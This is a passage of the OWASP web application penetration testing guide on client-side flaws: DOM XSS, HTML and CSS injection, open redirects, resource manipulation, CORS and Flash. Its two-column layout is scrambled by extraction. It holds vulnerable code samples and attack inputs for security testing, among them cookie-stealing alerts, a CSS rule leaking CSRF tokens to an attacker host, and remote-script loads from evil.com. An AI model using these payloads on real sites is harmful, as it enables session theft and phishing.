http://palizine.plynt.com/issues/2011Apr/file-upload/ flected and stored XSS), where an unsanitized parameter is
passed by the server, returned to the user and executed in the
• Matasploit Generating Payloads context of the user’s browser, a DOM-based XSS vulnerability
http://www.offensive-security.com/metasploit-unleashed/ controls the flow of the code by using elements of the Document
Generating_Payloads Object Model (DOM) along with code crafted by the attacker to
change the flow.
• Project Shellcode – Shellcode Tutorial 9: Generating
Shellcode Using Metasploit http://www.projectshellcode. Due to their nature, DOM-based XSS vulnerabilities can be exe-
com/?q=node/29 cuted in many instances without the server being able to deter-
mine what is actually being executed. This may make many of
• Anti-Malware Test file - http://www.eicar.org/86-0-Intended the general XSS filtering and detection techniques impotent to
use.html such attacks.

Remediation The first hypothetical example uses the following client side
While safeguards such as black or white listing of file extensions, code:
using “Content-Type” from the header, or using a file type recog-
nizer may not always be protections against this type of vulner- An attacker may append #<script>alert(‘xss’)</script> to the af-
ability. Every application that accepts files from users must have fected page URL which would, when executed, display the alert
a mechanism to verify that the uploaded file does not contain box. In this instance, the appended code would not be sent to
malicious code. Uploaded files should never be stored where the the server as everything after the # character is not treated as
users or attackers can directly access them. part of the query by the browser but as a fragment. In this ex-
ample, the code is immediately executed and an alert of “xss” is
Client-Side Testing displayed by the page. Unlike the more common types of cross
189

Web Application Penetration Testing

site scripting (Stored and Reflected) in which the code is sent to assessed to determine what code is being executed.
the server and then back to the browser, this is executed directly Automated testing has only very limited success at identify-
in the user’s browser without server contact. ing and validating DOM-based XSS as it usually identifies XSS
by sending a specific payload and attempts to observe it in the
The consequences of DOM-based XSS flaws are as wide ranging server response. This may work fine for the simple example pro-
as those seen in more well known forms of XSS, including cookie vided below, where the message parameter is reflected back to
retrieval, further malicious script injection, etc. and should there- the user:
fore be treated with the same severity. but may not be detected in the following contrived case:
For this reason, automated testing will not detect areas that may
Black Box testing be susceptible to DOM-based XSS unless the testing tool can
Blackbox testing for DOM-Based XSS is not usually performed perform addition analysis of the client side code.
since access to the source code is always available as it needs to
be sent to the client to be executed. Manual testing should therefore be undertaken and can be done
by examining areas in the code where parameters are referred
Gray Box testing to that may be useful to an attacker. Examples of such areas in-
Testing for DOM-Based XSS vulnerabilities: clude places where code is dynamically written to the page and
JavaScript applications differ significantly from other types of elsewhere where the DOM is modified or even where scripts are
applications because they are often dynamically generated by directly executed. Further examples are described in the excel-
the server, and to understand what code is being executed, the lent DOM XSS article by Amit Klein, referenced at the end of this
website being tested needs to be crawled to determine all the section.
instances of JavaScript being executed and where user input
is accepted. Many websites rely on large libraries of functions, References
which often stretch into the hundreds of thousands of lines of OWASP Resources
code and have not been developed in-house. In these cases, • DOM based XSS Prevention Cheat Sheet
top-down testing often becomes the only really viable option,
since many bottom level functions are never used, and analyzing Whitepapers
them to determine which are sinks will use up more time than is • Document Object Model (DOM) - http://en.wikipedia.org/wiki
often available. The same can also be said for top-down testing Document_Object_Model
if the inputs or lack thereof is not identified to begin with. • DOM Based Cross Site Scripting or XSS of the Third Kind - Amit
Klein: http://www.webappsec.org/projects/articles/071105.
User input comes in two main forms: shtml
• Browser location/document URI/URL Sources - https://code
• Input written to the page by the server in a way that does not google.com/p/domxsswiki/wiki/LocationSources
allow direct XSS • i.e., what is returned when the user asks the browser for things
• Input obtained from client-side JavaScript objects like document.URL, document.baseURI, location, location.href,
etc.
Here are two examples of how the server may insert data into
JavaScript: Testing for JavaScript Execution
(OTG-CLIENT-002)
And here are two examples of input from client-side JavaScript Summary
objects: A JavaScript Injection vulnerability is a subtype of Cross Site
Scripting (XSS) that involves the ability to inject arbitrary JavaS-
While there is little difference to the JavaScript code in how they cript code that is executed by the application inside the victim’s
are retrieved, it is important to note that when input is received browser.
via the server, the server can apply any permutations to the data This vulnerability can have many consequences, like disclosure
that it desires, whereas the permutations performed by JavaS- of a user’s session cookies that could be used to impersonate
cript objects are fairly well understood and documented, and the victim, or, more generally, it can allow the attacker to modify
so if someFunction in the above example were a sink, then the the page content seen by the victims or the application behavior.
exploitability of the former would depend on the filtering done
by the server, whereas the latter would depend on the encoding How to Test
done by the browser on the window.referer object. Such vulnerability occurs when the application lacks of a proper
Stefano Di Paulo has written an excellent article on what brows- user supplied input and output validation.
ers return when asked for the various elements of a URL using JavaScript is used to dynamically populate web pages, this injec-
the document. and location. attributes. tion occur during this content processing phase and consequent-
ly affect the victim.
Additionally, JavaScript is often executed outside of <script>
blocks, as evidenced by the many vectors which have led to XSS When trying to exploit this kind of issues, consider that some
filter bypasses in the past, and so, when crawling the applica- characters are treated differently by different browsers. For ref-
tion, it is important to note the use of scripts in places such as erence see the DOM XSS Wiki.
event handlers and CSS blocks with expression attributes.
Also, note that any off-site CSS or script objects will need to be The following script does not perform any validation of the vari-
190

Web Application Penetration Testing

able rr that contains the user supplied input via the query string HTML code into a vulnerable web page.
and additionally does not apply any form of encoding: This vulnerability can have many consequences, like disclosure
of a user’s session cookies that could be used to impersonate the
var rr = location.search.substring(1); victim, or, more generally, it can allow the attacker to modify the
if(rr) page content seen by the victims.
window.location=decodeURIComponent(rr);
How to Test
This implies that an attacker could inject JavaScript code
This vulnerability occurs when the user input is not correctly
simply by submitting the following query string: www.victim.
sanitized and the output is not encoded. An injection allows the
com/?javascript:alert(1) attacker to send a malicious HTML page to a victim. The targeted
browser will not be able to distinguish (trust) the legit from the
malicious parts and consequently will parse and execute all as
legit in the victim context.
Black Box testing
Black box testing for JavaScript Execution is not usually per- There is a wide range of methods and attributes that could be
formed since access to the source code is always available as it used to render HTML content. If these methods are provided
needs to be sent to the client to be executed. with an untrusted input, then there is an high risk of XSS, spe-
cifically an HTML injection one. Malicious HTML code could be
Gray Box testing injected for example via innerHTML, that is used to render user
Testing for JavaScript Execution vulnerabilities: inserted HTML code. If strings are not correctly sanitized the
For example, looking at the following URL: http://www.domxss. problem could lead to XSS based HTML injection. Another meth-
com/domxss/01_Basics/04_eval.html od could be document.write()

The page contains the following scripts: When trying to exploit this kind of issues, consider that some
characters are treated differently by different browsers. For ref-
<script> erence see the DOM XSS Wiki.
function loadObj(){
var cc=eval(‘(‘+aMess+’)’); The innerHTML property sets or returns the inner HTML of an
document.getElementById(‘mess’).textContent=cc.mes- element. An improper usage of this property, that means lack of
sanitization from untrusted input and missing output encoding,
sage;
could allow an attacker to inject malicious HTML code.
}
Example of Vulnerable Code: The following example shows a
if(window.location.hash.indexOf(‘message’)==-1) snippet of vulnerable code that allows an unvalidated input to be
var aMess=”({\”message\”:\”Hello User!\”})”; used to create dynamic html in the page context:
else
var aMess=location.hash.substr(window.location.hash. var userposition=location.href.indexOf(“user=”);
indexOf(‘message=’)+8); var user=location.href.substring(userposition+5);
</script> document.getElementById(“Welcome”).innerHTML=” Hello,
“+user;

The above code contains a source ‘location.hash’ that is con-


trolled by the attacker that can inject directly in the ‘message’ In the same way, the following example shows a vulnerable code
value a JavaScript Code to take the control of the user browser. using the document.write() function:

References var userposition=location.href.indexOf(“user=”);


OWASP Resources var user=location.href.substring(userposition+5);
• DOM based XSS Prevention Cheat Sheet document.write(“<h1>Hello, “ + user +”</h1>”);
• DOMXSS.com - http://www.domxss.com

Whitepapers In both examples, an input like the following:


• Browser location/document URI/URL Sources - https://code
google.com/p/domxsswiki/wiki/LocationSources http://vulnerable.site/page.html?user=<img%20src=’aaa’%20
• i.e., what is returned when the user asks the browser for things onerror=alert(1)>
like document.URL, document.baseURI, location, location.href,
etc.
will add to the page the image tag that will execute an arbitrary
Testing for HTML Injection (OTG-CLIENT-003) JavaScript code inserted by the malicious user in the HTML con-
Summary text.
HTML injection is a type of injection issue that occurs when a
user is able to control an input point and is able to inject arbitrary Black Box testing
191

Web Application Penetration Testing

Black box testing for HTML Injection is not usually performed input that contains an URL value without sanitizing it. This URL
since access to the source code is always available as it needs to value could cause the web application to redirect the user to an-
be sent to the client to be executed. other page as, for example, a malicious page controlled by the
attacker.
Gray Box testing
Testing for HTML Injection vulnerabilities: By modifying untrusted URL input to a malicious site, an attacker
For example, looking at the following URL: may successfully launch a phishing scam and steal user creden-
tials. Since the redirection is originated by the real application,
http://www.domxss.com/domxss/01_Basics/06_jque- the phishing attempts may have a more trustworthy appear-
ry_old_html.html ance.

A phishing attack example could be the following:


The HTML code will contains the following script:
http://www.target.site?#redirect=www.fake-target.site
<script src=”../js/jquery-1.7.1.js”></script>
<script>
The victim that visits target.site will be automatically redirected
function setMessage(){
to fake-target.site where an attacker could place a fake page to
var t=location.hash.slice(1);
steal victim’s credentials.
$(“div[id=”+t+”]”).text(“The DOM is now loaded and can be
manipulated.”); Moreover open redirections could also be used to maliciously
} craft an URL that would bypass the application’s access control
$(document).ready(setMessage ); checks and then forward the attacker to privileged functions
$(window).bind(“hashchange”,setMessage) that they would normally not be able to access.
</script>
<body><script src=”../js/embed.js”></script> Black Box testing
<span><a href=”#message” > Show Here</a><div id=”mes- Black box testing for Client Side URL Redirect is not usually per-
sage”>Showing Message1</div></span> formed since access to the source code is always available as it
needs to be sent to the client to be executed.
<span><a href=”#message1” > Show Here</a><div
id=”message1”>Showing Message2</div>
Gray Box testing
<span><a href=”#message2” > Show Here</a><div Testing for Client Side URL Redirect vulnerabilities:
id=”message2”>Showing Message3</div> When testers have to manually check for this type of vulnerabil-
</body> ity they have to identify if there are client side redirections im-
plemented in the client side code (for example in the JavaScript
code).
It is possible to inject HTML code.
These redirections could be implemented, for example in JavaS-
References cript, using the “window.location” object that can be used to take
OWASP Resources the browser to another page by simply assigning a string to it. (as
• DOM based XSS Prevention Cheat Sheet you can see in the following snippet of code).
• DOMXSS.com - http://www.domxss.com
Whitepapers var redir = location.hash.substring(1);
• Browser location/document URI/URL Sources - https://code. if (redir)
google.com/p/domxsswiki/wiki/LocationSources
window.location=’http://’+decodeURIComponent(redir);
• i.e., what is returned when the user asks the browser for things
like document.URL, document.baseURI, location, location.href,
etc. In the previous example the script does not perform any valida-
tion of the variable “redir”, that contains the user supplied input
Testing for Client Side URL Redirect via the query string, and in the same time does not apply any
(OTG-CLIENT-004) form of encoding, then this unvalidated input is passed to the
Summary windows.location object originating a URL redirection vulnera-
This section describes how to check for Client Side URL Redirec- bility.
tion, also known as Open Redirection. It is an input validation flaw
that exists when an application accepts an user controlled input This implies that an attacker could redirect the victim to a mali-
which specifies a link that leads to an external URL that could be cious site simply by submitting the following query string:
malicious. This kind of vulnerability could be used to accomplish a
phishing attack or redirect a victim to an infection page. http://www.victim.site/?#www.malicious.site

How to Test
This vulnerability occurs when an application accepts untrusted
192

Web Application Penetration Testing

Note how, if the vulnerable code is the following Opera, Internet Explorer and Firefox; for reference see DOM XSS
Wiki, section “Style Sinks”.
var redir = location.hash.substring(1);
if (redir) <a id=”a1”>Click me</a>
window.location=decodeURIComponent(redir); <script>
if (location.hash.slice(1)) {
document.getElementById(“a1”).style.cssText = “color: “ +
It also could be possible to inject JavaScript code, for example by location.hash.slice(1);
submitting the following query string: }
</script>
http://www.victim.site/?#javascript:alert(document.cookie)

Specifically the attacker could target the victim by asking her to


When trying to check for this kind of issues, consider that some visit the following URLs:
characters are treated differently by different browsers.
• www.victim.com/#red;-o-link:’javascript:alert(1)’;-o-link-
Moreover always consider the possibility to try absolute URLs source:current; (Opera [8,12])
variants as described here: http://kotowicz.net/absolute/ • www.victim.com/#red;-:expression(alert(URL=1)); (IE 7/8)

Tools The same vulnerability may appear in the case of classical re-
• DOMinator - https://dominator.mindedsecurity.com/ flected XSS in which for instance the PHP code looks like the fol-
lowing:
References
OWASP Resources <style>
• DOM based XSS Prevention Cheat Sheet p{
• DOMXSS.com - http://www.domxss.com color: <?php echo $_GET[‘color’]; ?>;
text-align: center;
Whitepapers
}
• Browser location/document URI/URL Sources - https://code
</style>
google.com/p/domxsswiki/wiki/LocationSources
• i.e., what is returned when you ask the browser for things
like document.URL, document.baseURI, location, location.
href, etc. Much more interesting attack scenarios involve the possibility to
• Krzysztof Kotowicz: “Local or Externa? Weird URL formats on extract data through the adoption of pure CSS rules. Such at-
the loose” - http://kotowicz.net/absolute/ tacks can be conducted through CSS selectors and leading for
instance to grab anti-CSRF tokens, as follows. In particular, in-
Testing for CSS Injection (OTG-CLIENT-005) put[name=csrf_token][value=^a] represents an element with
Summary the attribute “name” set “csrf_token” and whose attribute “val-
A CSS Injection vulnerability involves the ability to inject arbitrary ue” starts with “a”. By detecting the length of the attribute “val-
CSS code in the context of a trusted web site, and this will be ue”, it is possible to carry out a brute force attack against it and
rendered inside the victim’s browser. The impact of such a vul- send its value to the attacker’s domain.
nerability may vary on the basis of the supplied CSS payload: it
could lead to Cross-Site Scripting in particular circumstances, to <style>
data exfiltration in the sense of extracting sensitive data or to UI input[name=csrf_token][value=^a] {
modifications. background-image: url(http://attacker/log?a);
}
How to Test </style>
Such a vulnerability occurs when the application allows to supply
user-generated CSS or it is possible to somehow interfere with
the legit stylesheets. Injecting code in the CSS context gives the Much more modern attacks involving a combination of SVG, CSS
attacker the possibility to execute JavaScript in certain conditions and HTML5 have been proven feasible, therefore we recommend
as well as extracting sensitive values through CSS selectors and to see the References section for details.
functions able to generate HTTP requests. Actually, giving the
users the possibility to customize their own personal pages by Black Box testing
using custom CSS files results in a considerable risk, and should We are referring to client-side testing, therefore black box test-
be definitely avoided. ing is not usually performed since access to the source code is
always available as it needs to be sent to the client to be exe-
The following JavaScript code shows a possible vulnerable cuted. However, it may happen that the user is given a certain
script in which the attacker is able to control the “location.hash” degree of freedom in terms of possibilities to supply HTML code;
(source) which reaches the “cssText” function (sink). This partic- in that case it is required to test whether no CSS injections are
ular case may lead to DOMXSS in older browser versions, such as possible: tags like “link” and “style” should be disallowed, as well
193

Web Application Penetration Testing

as attributes “style”. • Password “cracker” via CSS and HTML5 - http://html5sec.org


invalid/?length=25
Gray Box testing • CSS attribute reading - http://eaea.sirdarckcat.net/cssar/v2/
Testing for CSS Injection vulnerabilities:
Manual testing needs to be conducted and the JavaScript code Testing for Client Side Resource Manipulation
analyzed in order to understand whether the attackers can in- (OTG-CLIENT-006)
ject its own content in CSS context. In particular we should be Summary
interested in how the website returns CSS rules on the basis of A ClientSide Resource Manipulation vulnerability is an input val-
the inputs. idation flaw that occurs when an application accepts an user
controlled input which specifies the path of a resource (for ex-
The following is a basic example: ample the source of an iframe, js, applet or the handler of an XM-
LHttpRequest). Specifically, such a vulnerability consists in the
<a id=”a1”>Click me</a> ability to control the URLs which link to some resources present
<b>Hi</b> in a web page. The impact may vary on the basis of the type of
<script> the element whose URL is controlled by the attacker, and it is
usually adopted to conduct Cross-Site Scripting attacks.
$(“a”).click(function(){
$(“b”).attr(“style”,”color: “ + location.hash.slice(1));
How to Test
}); Such a vulnerability occurs when the application employs user
</script> controlled URLs for referencing external/internal resources. In
these circumstances it is possible to interfere with the expected
application’s behavior in the sense of making it load and render
The above code contains a source “location.hash” that is con- malicious objects.
trolled by the attacker that can inject directly in the attribute
“style” of an HTML element. As mentioned above, this may lead The following JavaScript code shows a possible vulnerable
to different results on the basis of the adopted browser and the script in which the attacker is able to control the “location.hash”
supplied payload. (source) which reaches the attribute “src” of a script element.
This particular obviously leads XSS since an external JavaScript
It is recommended that testers use the jQuery function css(prop- could be easily injected in the trusted web site.
erty, value) in such circumstances as follows, since this would
disallow any damaging injections. In general, we recommend to <script>
use always a whitelist of allowed characters any time the input is var d=document.createElement(“script”);
reflected in the CSS context. if(location.hash.slice(1))
d.src = location.hash.slice(1);
<a id=”a1”>Click me</a> document.body.appendChild(d);
<b>Hi</b> </script>
<script>
$(“a”).click(function(){
Specifically the attacker could target the victim by asking her to
$(“b”).css(“color”,location.hash.slice(1));
visit the following URL:
});
</script>
www.victim.com/#http://evil.com/js.js

References Where js.js contains:


OWASP Resources
• DOM based XSS Prevention Cheat Sheet alert(document.cookie)
• DOMXSS Wiki - https://code.google.com/p/domxsswiki/wiki
CssText
Controlling scripts’ sources is a basic example, since some other
Presentations interesting and more subtle cases can take place. A widespread
• DOM Xss Identification and Exploitation, Stefano Di Paola scenario involves the possibility to control the URL called in a
h t t p : //d o m i n a t o r. g o o g l e c o d e . c o m / f i l e s / D O M X s s _ CORS request; since CORS allows the target resource to be ac-
Identification_and_exploitation.pdf cessible by the requesting domain through a header based ap-
• Got Your Nose! How To Steal Your Precious Data Without proach, then the attacker may ask the target page to load mali-
Using Scripts, Mario Heiderich - http://www.youtube.com/ cious content loaded on its own web site.
watch?v=FIQvAaZj_HA
• Bypassing Content-Security-Policy, Alex Kouzemtchenko Refer to the following vulnerable code:
http://ruxcon.org.au/assets/slides/CSP-kuza55.pptx
<b id=”p”></b>
Proof of Concepts
194

Web Application Penetration Testing

Resource Tag/Method Sink


<script>
function createCORSRequest(method, url) { Image img
var xhr = new XMLHttpRequest(); Object object src
xhr.open(method, url, true); Script script data src
xhr.onreadystatechange = function () {
if (this.status == 200 && this.readyState == 4) {
The most interesting ones are those that allow to an attacker
document.getElementById(‘p’).innerHTML = this.respon- to include client side code (for example JavaScript) since it could
seText; lead to an XSS vulnerabilities.
}
}; When trying to check for this kind of issues, consider that some
return xhr; characters are treated differently by different browsers. More-
} over always consider the possibility to try absolute URLs vari-
ants as described here: http://kotowicz.net/absolute/
var xhr = createCORSRequest(‘GET’, location.hash.slice(1));
xhr.send(null); Tools
• DOMinator - https://dominator.mindedsecurity.com/
</script>
References
The “location.hash” is controlled by the attacker and it is used for
OWASP Resources
requesting an external resource, which will be reflected through
• DOM based XSS Prevention Cheat Sheet
the construct “innerHTML”. Basically the attacker could ask the
• DOMXSS.com - http://www.domxss.com
victim to visit the following URL and at the same time he could
• DOMXSS TestCase - http://www.domxss.com/domxss/01
craft the payload handler.
Basics/04_script_src.html
Exploit URL: www.victim.com/#http://evil.com/html.html
Whitepapers
• DOM XSS Wiki - https://code.google.com/p/domxsswiki/wiki
http://evil.com/html.html
LocationSources
---- • Krzysztof Kotowicz: “Local or External? Weird URL formats on
<?php the loose” - http://kotowicz.net/absolute/
header(‘Access-Control-Allow-Origin: http://www.victim.
com’); Test Cross Origin Resource Sharing
?> (OTG-CLIENT-007)
<script>alert(document.cookie);</script> Summary
Cross Origin Resource Sharing or CORS is a mechanism that en-
ables a web browser to perform “cross-domain” requests using
Black Box testing
the XMLHttpRequest L2 API in a controlled manner. In the past,
Black box testing for Client Side Resource Manipulation is not
the XMLHttpRequest L1 API only allowed requests to be sent
usually performed since access to the source code is always
within the same origin as it was restricted by the same origin
available as it needs to be sent to the client to be executed.
policy.
Gray Box testing
Cross-Origin requests have an Origin header, that identifies the
Testing for Client Side Resource Manipulation vulnerabilities:
domain initiating the request and is always sent to the server.
To manually check for this type of vulnerability we have to iden-
CORS defines the protocol to use between a web browser and a
tify whether the application employs inputs without correctly
server to determine whether a cross-origin request is allowed.
validating them; these are under the control of the user which
In order to accomplish this goal, there are a few HTTP headers
could be able to specify the url of some resources. Since there
involved in this process, that are supported by all major brows-
are many resources that could be included into the application
ers and we will cover below including: Origin, Access-Con-
(for example images, video, object, css, frames etc.), client side
trol-Request-Method, Access-Control-Request-Headers, Ac-
scripts which handle the associated URLs should be investigated
cess-Control-Allow-Origin, Access-Control-Allow-Credentials,
for potential issues.
Access-Control-Allow-Methods, Access-Control-Allow-Head-
The following table shows the possible injection points (sink)
ers.
that should be checked:
The CORS specification mandates that for non simple requests,
Resource Tag/Method Sink such as requests other than GET or POST or requests that uses
credentials, a pre-flight OPTIONS request must be sent in ad-
Frame iframe src vance to check if the type of request will have a bad impact on
Link a href the data. The pre-flight request checks the methods, headers
allowed by the server, and if credentials are permitted, based on
AJAX Request xhr.open(method, [url], true); URL href
the result of the OPTIONS request, the browser decides whether
CSS link the request is allowed or not.
195

Web Application Penetration Testing

How to Test
Origin & Access-Control-Allow-Origin Black Box testing
The Origin header is always sent by the browser in a CORS re- Black box testing for finding issues related to Cross Origin Re-
quest and indicates the origin of the request. The Origin head- source Sharing is not usually performed since access to the
er can not be changed from JavaScript however relying on this source code is always available as it needs to be sent to the client
header for Access Control checks is not a good idea as it may be to be executed.
spoofed outside the browser, so you still need to check that ap-
plication-level protocols are used to protect sensitive data. Gray Box testing
Check the HTTP headers in order to understand how CORS is
Access-Control-Allow-Origin is a response header used by a used, in particular we should be very interested in the Origin
server to indicate which domains are allowed to read the re- header to learn which domains are allowed. Also, manual inspec-
sponse. Based on the CORS W3 Specification it is up to the client tion of the JavaScript is needed to determine whether the code
to determine and enforce the restriction of whether the client is vulnerable to code injection due to improper handling of user
has access to the response data based on this header. supplied input. Below are some examples:

From a penetration testing perspective you should look for inse- Example 1: Insecure response with wildcard ‘*’ in Access-Con-
cure configurations as for example using a ‘*’ wildcard as value of trol-Allow-Origin:
the Access-Control-Allow-Origin header that means all domains Request (note the ‘Origin’ header:)
are allowed. Other insecure example is when the server returns
back the Origin header without any additional checks, what can GET http://attacker.bar/test.php HTTP/1.1
lead to access of sensitive data. Note that this configuration is Host: attacker.bar
very insecure, and is not acceptable in general terms, except in User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8;
the case of a public API that is intended to be accessible by ev- rv:24.0) Gecko/20100101 Firefox/24.0
eryone. Accept: text/html,application/xhtml+xml,application/xm-
l;q=0.9,*/*;q=0.8
Access-Control-Request-Method & Access-Control-Al-
Accept-Language: en-US,en;q=0.5
low-Method
The Access-Control-Request-Method header is used when a Referer: http://example.foo/CORSexample1.html
browser performs a preflight OPTIONS request and let the client Origin: http://example.foo
indicate the request method of the final request. On the other Connection: keep-alive
hand, the Access-Control-Allow-Method is a response header
used by the server to describe the methods the clients are al-
lowed to use. Response (note the ‘Access-Control-Allow-Origin’ header:)

Access-Control-Request-Headers & Access-Control-Al- HTTP/1.1 200 OK


low-Headers Date: Mon, 07 Oct 2013 18:57:53 GMT
These two headers are used between the browser and the server Server: Apache/2.2.22 (Debian)
to determine which headers can be used to perform a cross-or-
X-Powered-By: PHP/5.4.4-14+deb7u3
igin request.
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials Content-Length: 4
This header as part of a preflight request indicates that the final Keep-Alive: timeout=15, max=99
request can include user credentials. Connection: Keep-Alive
Content-Type: application/xml
Input validation
XMLHttpRequest L2 (or XHR L2) introduces the possibility of cre- [Response Body]
ating a cross-domain request using the XHR API for backwards
compatibility. This can introduce security vulnerabilities that in
XHR L1 were not present. Interesting points of the code to exploit Example 2: Input validation issue, XSS with CORS:
would be URLs that are passed to XMLHttpRequest without vali- This code makes a request to the resource passed after the #
dation, specially if absolute URLS are allowed because that could character in the URL, initially used to get resources in the same
lead to code injection. Likewise, other part of the application that server.
can be exploited is if the response data is not escaped and we Vulnerable code:
can control it by providing user-supplied input.
Other headers <script>
There are other headers involved like Access-Control-Max-Age
that determines the time a preflight request can be cached in var req = new XMLHttpRequest();
the browser, or Access-Control-Expose-Headers that indicates
which headers are safe to expose to the API of a CORS API spec- req.onreadystatechange = function() {
ification, both are response headers specified in the CORS W3C
document.
196

Web Application Penetration Testing

if(req.readyState==4 && req.status==200) { GET http://attacker.bar/file.php HTTP/1.1


document.getElementById(“div1”).innerHTML=req. Host: attacker.bar
responseText; User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8;
} rv:24.0) Gecko/20100101 Firefox/24.0
} Accept: text/html,application/xhtml+xml,application/xm-
l;q=0.9,*/*;q=0.8
var resource = location.hash.substring(1); Accept-Language: en-US,en;q=0.5
req.open(“GET”,resource,true); Referer: http://example.foo/main.php
req.send(); Origin: http://example.foo
</script> Connection: keep-alive

<body>
HTTP/1.1 200 OK
<div id=”div1”></div>
Date: Mon, 07 Oct 2013 19:00:32 GMT
</body>
Server: Apache/2.2.22 (Debian)
X-Powered-By: PHP/5.4.4-14+deb7u3
For example, a request like this will show the contents of the Access-Control-Allow-Origin: *
profile.php file:
Vary: Accept-Encoding
Content-Length: 92
http://example.foo/main.php#profile.php
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Request and response generated by this URL: Content-Type: text/html

GET http://example.foo/profile.php HTTP/1.1 Injected Content from attacker.bar <img src=”#” oner-
Host: example.foo ror=”alert(‘Domain: ‘+document.domain)”>
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8;
rv:24.0) Gecko/20100101 Firefox/24.0
Accept: text/html,application/xhtml+xml,application/xm-
l;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: http://example.foo/main.php
Connection: keep-alive

HTTP/1.1 200 OK
Date: Mon, 07 Oct 2013 18:20:48 GMT
Server: Apache/2.2.16 (Debian)
X-Powered-By: PHP/5.3.3-7+squeeze17 Tools
Vary: Accept-Encoding • OWASP Zed Attack Proxy (ZAP) - https://www.owasp.org
Content-Length: 25 index.php/OWASP_Zed_Attack_Proxy_Project
Keep-Alive: timeout=15, max=99
ZAP is an easy to use integrated penetration testing tool for
Connection: Keep-Alive
finding vulnerabilities in web applications. It is designed to be
Content-Type: text/html
used by people with a wide range of security experience and as
such is ideal for developers and functional testers who are new
[Response Body] to penetration testing. ZAP provides automated scanners as
well as a set of tools that allow you to find security vulnerabil-
ities manually.
Now, as there is no URL validation we can inject a remote script,
that will be injected and executed in the context of the example. References
foo domain, with a URL like this: OWASP Resources
• OWASP HTML5 Security Cheat Sheet: https://www.owasp
http://example.foo/main.php#http://attacker.bar/file.php org/index.php/HTML5_Security_Cheat_Sheet

Whitepapers
Request and response generated by this URL: • W3C - CORS W3C Specification: http://www.w3.org/TR/cors/
197

Web Application Penetration Testing

Testing for Cross site flashing FlashVars can also be initialized from the URL:
(OTG-CLIENT-008)
Summary http://www.example.org/somefilename.swf?var1=val1&-
ActionScript is the language, based on ECMAScript, used by Flash var2=val2
applications when dealing with interactive needs. There are three
versions of the ActionScript language. ActionScript 1.0 and Action-
Script 2.0 are very similar with ActionScript 2.0 being an extension of In ActionScript 3.0, a developer must explicitly assign the FlashVar
ActionScript 1.0. ActionScript 3.0, introduced with Flash Player 9, is a values to local variables. Typically, this looks like:
rewrite of the language to support object orientated design.
var paramObj:Object = LoaderInfo(this.root.loaderInfo).
ActionScript, like every other language, has some implementation parameters;
patterns which could lead to security issues. In particular, since Flash var var1:String = String(paramObj[“var1”]);
applications are often embedded in browsers, vulnerabilities like var var2:String = String(paramObj[“var2”]);
DOM based Cross-Site Scripting (XSS) could be present in flawed
Flash applications.
In ActionScript 2.0, any uninitialized global variable is assumed to be
How to Test a FlashVar. Global variables are those variables that are prepended
Since the first publication of “Testing Flash Applications” [1], new by _root, _global or _level0. This means that if an attribute like:
versions of Flash player were released in order to mitigate some of
the attacks which will be described. Nevertheless, some issues still _root.varname
remain exploitable because they are the result of insecure program-
ming practices.
Decompilation is undefined throughout the code flow, it could be overwritten by
setting
Since SWF files are interpreted by a virtual machine embedded in the
player itself, they can be potentially decompiled and analysed. The http://victim/file.swf?varname=value
most known and free ActionScript 2.0 decompiler is flare.

To decompile a SWF file with flare just type: Regardless of whether you are looking at ActionScript 2.0 or Action-
Script 3.0, FlashVars can be a vector of attack. Let’s look at some Ac-
$ flare hello.swf tionScript 2.0 code that is vulnerable:

Example:
it will result in a new file called hello.flr.
movieClip 328 __Packages.Locale {
Decompilation helps testers because it allows for source code as-
sisted, or white-box, testing of the Flash applications. HP’s free #initclip
SWFScan tool can decompile both ActionScript 2.0 and ActionScript if (!_global.Locale) {
3.0 SWFScan var v1 = function (on_load) {
var v5 = new XML();
The OWASP Flash Security Project maintains a list of current disas-
var v6 = this;
semblers, decompilers and other Adobe Flash related testing tools.
v5.onLoad = function (success) {
Undefined Variables FlashVars if (success) {
FlashVars are the variables that the SWF developer planned on re- trace(‘Locale loaded xml’);
ceiving from the web page. FlashVars are typically passed in from var v3 = this.xliff.file.body.$trans_unit;
the Object or Embed tag within the HTML. For instance: var v2 = 0;
while (v2 < v3.length) {
<object width=”550” height=”400” classid=”clsid:D27CDB6E Locale.strings[v3[v2]._resname] = v3[v2].source.__
-AE6D-11cf-96B8-444553540000” text;
codebase=”http://download.macromedia.com/pub/shock- ++v2;
wave/cabs/flash/swflash.cab#version=9,0,124,0”> }
<param name=”movie” value=”somefilename.swf”> on_load();
<param name=”FlashVars” value=”var1=val1&var2=val2”> } else {}
<embed src=”somefilename.swf” width=”550” };
